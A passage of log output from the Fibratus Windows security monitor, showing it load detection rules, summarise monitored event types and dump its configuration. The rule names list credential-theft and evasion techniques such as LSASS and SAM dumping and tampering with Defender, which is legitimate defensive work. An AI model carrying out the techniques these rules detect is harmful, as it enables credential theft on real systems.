from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_direct_syscall_from_stomped_module.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T20:36:36+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, RenameFile, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T20:36:36+01:00 level=info msg=bootstrapping with pid 7860. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T20:36:36+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ port=>25 to=>[] enabled=>false use-template=>true content-type=>text/html] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-images=>false] + eventsource .................... [ enable-registry=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-dns=>false enable-fileio=>true enable-audit-api=>true enable-image=>true max-buffers=>36 enable-thread=>true buffer-size=>512 enable-handle=>false enable-vamap=>true enable-mem=>false flush-interval=>1s stack-enrichment=>true enable-net=>true enable-threadpool=>false min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-backups=>15 max-size=>100 log-stdout=>true max-age=>0 formatter=>text] + output ......................... [ http=>[ timeout=>5s method=>POST enabled=>false tls-insecure-skip-verify=>false endpoints=>[] enable-gzip=>false serializer=>json] amqp=>[ exchange-type=>topic tls-insecure-skip-verify=>false exchange=>fibratus passive=>false timeout=>5s url=>amqp://localhost:5672 enabled=>false delivery-mode=>transient routing-key=>fibratus vhost=>/ durable=>false] elasticsearch=>[ sniff=>false healthcheck=>true flush-period=>1s servers=>[http://127.0.0.1:9200] trace-log=>false enabled=>false healthcheck-interval=>10s bulk-workers=>1 gzip-compression=>false timeout=>5s healthcheck-timeout=>5s template-name=>fibratus index-name=>fibratus] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-files=>false skip-allocs=>false fastscan=>true excluded-procs=>[] skip-mmaps=>false scan-timeout=>10s skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-11T20:36:37+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T20:36:39+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T20:40:59+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T20:40:59+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T20:40:59+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T20:43:26+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_direct_syscall_from_stomped_module.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 